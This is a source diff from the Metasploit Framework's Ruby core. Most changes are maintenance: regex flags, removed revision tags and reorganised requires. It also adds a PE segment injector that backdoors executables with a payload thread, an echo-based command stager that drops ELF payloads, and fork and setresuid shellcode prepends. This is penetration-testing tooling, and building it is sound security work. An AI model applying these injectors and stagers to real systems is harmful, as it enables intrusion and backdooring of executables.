b64_cred = auth_match[1]
|
||||
else
|
||||
@ -3476,7 +3476,7 @@ class DBManager
|
||||
data.each_line do |line|
|
||||
case line
|
||||
when /^[\s]*#/ # Comment lines
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
|
||||
addr = $1
|
||||
port = $2
|
||||
proto = $4
|
||||
@ -3492,7 +3492,7 @@ class DBManager
|
||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
||||
pass = ""
|
||||
ptype = "smb_hash"
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
|
||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
||||
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
||||
ptype = "password"
|
||||
@ -3531,7 +3531,7 @@ class DBManager
|
||||
|
||||
# If hex notation is present, turn them into a character.
|
||||
def dehex(str)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
|
||||
hexen.each { |h|
|
||||
str.gsub!(h,h[2,2].to_i(16).chr)
|
||||
}
|
||||
@ -5039,7 +5039,7 @@ class DBManager
|
||||
next if r[0] != 'results'
|
||||
next if r[4] != "12053"
|
||||
data = r[6]
|
||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
|
||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
|
||||
addr_map[hname] = addr
|
||||
end
|
||||
|
||||
@ -5160,7 +5160,7 @@ class DBManager
|
||||
# HostName
|
||||
host.elements.each('ReportItem') do |item|
|
||||
next unless item.elements['pluginID'].text == "12053"
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
|
||||
hname = host.elements['HostName'].text
|
||||
end
|
||||
addr ||= host.elements['HostName'].text
|
||||
@ -5855,7 +5855,7 @@ class DBManager
|
||||
|
||||
data.each_line do |line|
|
||||
next if line =~ /^#/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
|
||||
addr = $1
|
||||
next if bl.include? addr
|
||||
port = $2.to_i
|
||||
|
@ -20,7 +20,7 @@ class Export
|
||||
end
|
||||
|
||||
def myusername
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
|
||||
end
|
||||
|
||||
# Hosts are always allowed. This is really just a stub.
|
||||
@ -115,7 +115,7 @@ class Export
|
||||
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
||||
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
||||
if pass != "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
|
||||
end
|
||||
if pass == "<BLANK>"
|
||||
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
||||
@ -206,7 +206,7 @@ class Export
|
||||
|
||||
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
||||
report_file.write %Q|<MetasploitV4>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
|
||||
|
||||
yield(:status, "start", "hosts") if block_given?
|
||||
report_file.write %Q|<hosts>\n|
|
||||
@ -352,7 +352,7 @@ class Export
|
||||
if value
|
||||
data = marshalize(value)
|
||||
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
el << REXML::Text.new(data)
|
||||
end
|
||||
return el
|
||||
|
108
lib/msf/core/exe/segment_injector.rb
Normal file
108
lib/msf/core/exe/segment_injector.rb
Normal file
@ -0,0 +1,108 @@
|
||||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
|
||||
class SegmentInjector
|
||||
|
||||
attr_accessor :payload
|
||||
attr_accessor :template
|
||||
attr_accessor :arch
|
||||
attr_accessor :buffer_register
|
||||
|
||||
def initialize(opts = {})
|
||||
@payload = opts[:payload]
|
||||
@template = opts[:template]
|
||||
@arch = opts[:arch] || :x86
|
||||
@buffer_register = opts[:buffer_register] || 'edx'
|
||||
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
|
||||
raise ArgumentError, ":buffer_register is not a real register"
|
||||
end
|
||||
end
|
||||
|
||||
def processor
|
||||
case @arch
|
||||
when :x86
|
||||
return Metasm::Ia32.new
|
||||
when :x64
|
||||
return Metasm::X86_64.new
|
||||
end
|
||||
end
|
||||
|
||||
def create_thread_stub
|
||||
<<-EOS
|
||||
hook_entrypoint:
|
||||
pushad
|
||||
push hook_libname
|
||||
call [iat_LoadLibraryA]
|
||||
push hook_funcname
|
||||
push eax
|
||||
call [iat_GetProcAddress]
|
||||
mov eax, [iat_CreateThread]
|
||||
lea edx, [thread_hook]
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push edx
|
||||
push 0
|
||||
push 0
|
||||
call eax
|
||||
|
||||
popad
|
||||
jmp entrypoint
|
||||
|
||||
hook_libname db 'kernel32', 0
|
||||
hook_funcname db 'CreateThread', 0
|
||||
|
||||
thread_hook:
|
||||
lea #{buffer_register}, [thread_hook]
|
||||
add #{buffer_register}, 9
|
||||
EOS
|
||||
end
|
||||
|
||||
def payload_as_asm
|
||||
asm = ''
|
||||
@payload.each_byte do |byte|
|
||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||
end
|
||||
return asm
|
||||
end
|
||||
|
||||
def payload_stub
|
||||
asm = create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
# Copy our Template into a new PE
|
||||
pe_orig = Metasm::PE.decode_file(template)
|
||||
pe = pe_orig.mini_copy
|
||||
|
||||
# Copy the headers and exports
|
||||
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Generate a new code section set to RWX with our payload in it
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.text'
|
||||
s.encoded = payload_stub
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
# Tell our section where the original entrypoint was
|
||||
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
# Change the entrypoint to our new section
|
||||
pe.optheader.entrypoint = 'hook_entrypoint'
|
||||
pe.cpu = pe_orig.cpu
|
||||
|
||||
pe.encode_string
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
|
||||
end
|
||||
|
||||
# Store the version information
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/)
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
|
||||
info['Version'] = mver[1] if mver
|
||||
|
||||
# Store the hostname information
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
|
||||
info['Hostname'] = mver[1] if mver
|
||||
|
||||
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
||||
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
|
||||
|
||||
# Finally, parse out and store all the parameters
|
||||
resp.split("TPVALUE\x00").each { |x|
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
|
||||
if (minf)
|
||||
info[ minf[2] ] = minf[1]
|
||||
end
|
||||
|
34
lib/msf/core/exploit/cmdstager_echo.rb
Normal file
34
lib/msf/core/exploit/cmdstager_echo.rb
Normal file
@ -0,0 +1,34 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
|
||||
#
|
||||
# This stager uses the echo's "-e" flag, that enable interpretation of
|
||||
# backslash escapes, to drop an ELF with the payload embedded to disk.
|
||||
# The "-e" flag is usually available on linux environments. This stager
|
||||
# has been found useful on restricted linux based embedded devices, and
|
||||
# should work on either:
|
||||
# * Systems with busy box's echo binary somewhere in $PATH.
|
||||
# * Systems with bash/zsh whose echo builtin supports -en flags.
|
||||
# * Systems with GNU coreutils echo which supports -en flags.
|
||||
#
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerEcho
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerEcho instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerEcho.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
||||
# @return [void]
|
||||
#
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
if session.type == "meterpreter"
|
||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
return true
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
win_file = file.gsub("/", "\\\\")
|
||||
if session.type == "meterpreter"
|
||||
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
|
||||
new_str
|
||||
end
|
||||
|
||||
# Returns the Path+Query from a full URI String, nil on error
|
||||
def path_from_uri(uri)
|
||||
begin
|
||||
temp = URI(uri)
|
||||
ret_uri = temp.path
|
||||
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
|
||||
return ret_uri
|
||||
rescue URI::Error
|
||||
print_error "Invalid URI: #{uri}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target host
|
||||
#
|
||||
@ -344,6 +357,13 @@ module Exploit::Remote::HttpClient
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the Host and Port as a string
|
||||
#
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the VHOST of the HTTP server.
|
||||
#
|
||||
@ -463,8 +483,8 @@ module Exploit::Remote::HttpClient
|
||||
end
|
||||
|
||||
if datastore['RPORT'].to_i == 3790
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
|
||||
extras << "Metasploit"
|
||||
end
|
||||
end
|
||||
|
@ -1,9 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
|
||||
###
|
||||
#
|
||||
@ -13,16 +9,14 @@ class Exploit
|
||||
# network communication.
|
||||
#
|
||||
###
|
||||
class Local < Exploit
|
||||
include PostMixin
|
||||
class Msf::Exploit::Local < Msf::Exploit
|
||||
require 'msf/core/post_mixin'
|
||||
include Msf::PostMixin
|
||||
|
||||
#
|
||||
# Returns the fact that this exploit is a local exploit.
|
||||
#
|
||||
def exploit_type
|
||||
Exploit::Type::Local
|
||||
Msf::Exploit::Type::Local
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write'
|
||||
require 'msf/core/exploit/cmdstager_debug_asm'
|
||||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
require 'msf/core/exploit/cmdstager_echo'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL
|
||||
if(info[:rows] and not info[:rows].empty?)
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames]
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames],
|
||||
'SortIndex' => -1
|
||||
)
|
||||
|
||||
info[:rows].each do |row|
|
||||
|
@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
|
||||
end
|
||||
|
||||
if plugin_res.respond_to? :split
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
elsif base_res.respond_to? :split
|
||||
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
|
||||
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
|
||||
else
|
||||
print_error "Cannot determine the plugin directory."
|
||||
return false
|
||||
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
|
||||
print_status "Checking for temp directory..."
|
||||
res = mysql_get_variable("@@tmpdir")
|
||||
if res.respond_to? :split
|
||||
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
else
|
||||
print_error "Cannot determine the temp directory, exiting."
|
||||
return false
|
||||
|
@ -11,8 +11,6 @@ module Msf
|
||||
#
|
||||
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
||||
#
|
||||
# Version: $Revision$
|
||||
#
|
||||
###
|
||||
module Exploit::Omelet
|
||||
|
||||
|
@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
|
||||
# Send negotiate request
|
||||
sock.put(pkt2)
|
||||
res = sock.get_once(-1, 5)
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
|
||||
sock.put(pkt3)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
@ -645,7 +645,7 @@ module Exploit::Remote::SMB
|
||||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/).each do |line|
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
|
||||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
@ -68,11 +68,11 @@ module Exploit::Remote::SunRPC
|
||||
end
|
||||
|
||||
ret = rpcobj.create
|
||||
return print_error("#{rhost} - No response to SunRPC PortMap request") unless ret
|
||||
return print_error("#{rhost}:#{rport} - SunRPC - No response to Portmap request") unless ret
|
||||
|
||||
arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
err = "#{rhost} - SunRPC PortMap request failed: "
|
||||
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
|
||||
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
|
||||
err << 'RPC did not execute' if arr[4] != SUCCESS
|
||||
err << 'Program not available' if arr[5] == 0
|
||||
@ -87,7 +87,7 @@ module Exploit::Remote::SunRPC
|
||||
|
||||
def sunrpc_call(proc, buf, timeout=20)
|
||||
ret = rpcobj.call(proc, buf, timeout)
|
||||
return print_error("#{rhost} - No response to SunRPC call for procedure: #{proc}") unless ret
|
||||
return print_error("#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}") unless ret
|
||||
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
|
||||
@ -105,7 +105,7 @@ module Exploit::Remote::SunRPC
|
||||
else err << "Unknown Error"
|
||||
end
|
||||
end
|
||||
print_error("#{rhost} - #{err}")
|
||||
print_error("#{rhost}:#{rport} - SunRPC - #{err}")
|
||||
return nil
|
||||
end
|
||||
return ret
|
||||
@ -134,7 +134,7 @@ module Exploit::Remote::SunRPC
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
progname = progresolv(rpcobj.program)
|
||||
err = "SunRPC query for program #{rpcobj.program} [#{progname}] failed: "
|
||||
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
|
||||
case arr[4]
|
||||
when PROG_UMAVAIL then err << "Program Unavailable"
|
||||
when PROG_MISMATCH then err << "Program Version Mismatch"
|
||||
@ -142,7 +142,7 @@ module Exploit::Remote::SunRPC
|
||||
when GARBAGE_ARGS then err << "Garbage Arguments"
|
||||
else err << "Unknown Error"
|
||||
end
|
||||
print_error("#{rhost} - #{err}")
|
||||
print_error("#{rhost}:#{rport} - SunRPC - #{err}")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -5,7 +5,7 @@ module Msf
|
||||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that speak the telnet protocol.
|
||||
# webservers.
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::Web
|
||||
|
@ -104,6 +104,7 @@ class Module
|
||||
require 'msf/core/module/target'
|
||||
require 'msf/core/module/auxiliary_action'
|
||||
require 'msf/core/module/has_actions'
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
#
|
||||
# Creates an instance of an abstract module using the supplied information
|
||||
|
@ -488,19 +488,27 @@ class Msf::Module::Platform
|
||||
Alias = "php"
|
||||
end
|
||||
|
||||
#
|
||||
# JavaScript
|
||||
#
|
||||
class JavaScript < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "js"
|
||||
end
|
||||
#
|
||||
# JavaScript
|
||||
#
|
||||
class JavaScript < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "js"
|
||||
end
|
||||
|
||||
#
|
||||
# Python
|
||||
#
|
||||
class Python < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "python"
|
||||
end
|
||||
#
|
||||
# Python
|
||||
#
|
||||
class Python < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "python"
|
||||
end
|
||||
|
||||
#
|
||||
# Node.js
|
||||
#
|
||||
class NodeJS < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "nodejs"
|
||||
end
|
||||
end
|
||||
|
@ -336,9 +336,9 @@ class Payload < Msf::Module
|
||||
# Check to see if the value is a hex string. If so, convert
|
||||
# it.
|
||||
if val.kind_of?(String)
|
||||
if val =~ /^\\x/
|
||||
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/
|
||||
if val =~ /^\\x/n
|
||||
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/n
|
||||
val = val.hex
|
||||
end
|
||||
end
|
||||
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('PrependFork',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||
"false"
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresuid',
|
||||
[
|
||||
false,
|
||||
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
||||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
pre << "\x6a\x02" +# pushb $0x2 #
|
||||
"\x58" +# popl %eax #
|
||||
"\xcd\x80" +# int $0x80 ; fork #
|
||||
"\x85\xc0" +# test %eax,%eax #
|
||||
"\x74\x06" +# jz 0xf #
|
||||
"\x31\xc0" +# xor %eax,%eax #
|
||||
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Handle all Power/CBEA code here
|
||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
|
||||
# Prepend
|
||||
|
||||
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
||||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||
"\x44\xff\xff\x02" # sc #
|
||||
end
|
||||
end
|
||||
|
||||
if (test_arch.include?(ARCH_X86_64))
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
# if (fork()) { exit(0); }
|
||||
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
pre << "\x48\x85\xc0" # test rax,rax #
|
||||
pre << "\x74\x08" # jz 0x08 #
|
||||
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
||||
# Append exit(0)
|
||||
if (datastore['AppendExit'])
|
||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 0x53 #
|
||||
pre << "\x58" # pop rax #
|
||||
app << "\x6a\x3c" # push 0x3c #
|
||||
app << "\x58" # pop rax #
|
||||
app << "\x0f\x05" # syscall #
|
||||
end
|
||||
end
|
||||
|
@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -12,9 +12,21 @@ require 'msf/core'
|
||||
module Msf::Payload::Windows
|
||||
|
||||
require 'msf/core/payload/windows/prepend_migrate'
|
||||
|
||||
# Provides the #prepends method
|
||||
# XXX: For some unfathomable reason, the order of requires here is
|
||||
# important. If this include happens after require'ing the files
|
||||
# below, it causes the windows/exec payload (and probably others) to
|
||||
# somehow not have PrependMigrate despite having Payload::Windows,
|
||||
# which leads to a NoMethodError on #prepends
|
||||
include Msf::Payload::Windows::PrependMigrate
|
||||
|
||||
require 'msf/core/payload/windows/dllinject'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/loadlibrary'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
#
|
||||
# ROR hash associations for some of the exit technique routines.
|
||||
#
|
||||
|
@ -16,7 +16,6 @@ module Payload::Windows::DllInject
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Inject DLL',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom DLL into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -16,7 +16,6 @@ module Payload::Windows::Exec
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Execute Command',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => [ 'vlad902', 'sf' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows LoadLibrary Path',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Load an arbitrary library path',
|
||||
'Author' => [ 'sf', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
@ -1,24 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# A Post-exploitation module
|
||||
#
|
||||
#
|
||||
class Post < Msf::Module
|
||||
include PostMixin
|
||||
class Msf::Post < Msf::Module
|
||||
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
require 'msf/core/post/file'
|
||||
|
||||
require 'msf/core/post/linux'
|
||||
require 'msf/core/post/osx'
|
||||
require 'msf/core/post/solaris'
|
||||
require 'msf/core/post/unix'
|
||||
require 'msf/core/post/windows'
|
||||
|
||||
include Msf::PostMixin
|
||||
|
||||
def setup; end
|
||||
|
||||
def type
|
||||
MODULE_POST
|
||||
Msf::MODULE_POST
|
||||
end
|
||||
|
||||
def self.type
|
||||
MODULE_POST
|
||||
Msf::MODULE_POST
|
||||
end
|
||||
|
||||
#
|
||||
@ -39,6 +46,3 @@ class Post < Msf::Module
|
||||
mod
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -1,12 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post/file'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
|
||||
module Common
|
||||
|
||||
module Msf::Post::Common
|
||||
|
||||
#
|
||||
# Checks if the remote system has a process with ID +pid+
|
||||
@ -121,5 +115,3 @@ module Common
|
||||
end
|
||||
|
||||
end
|
||||
end
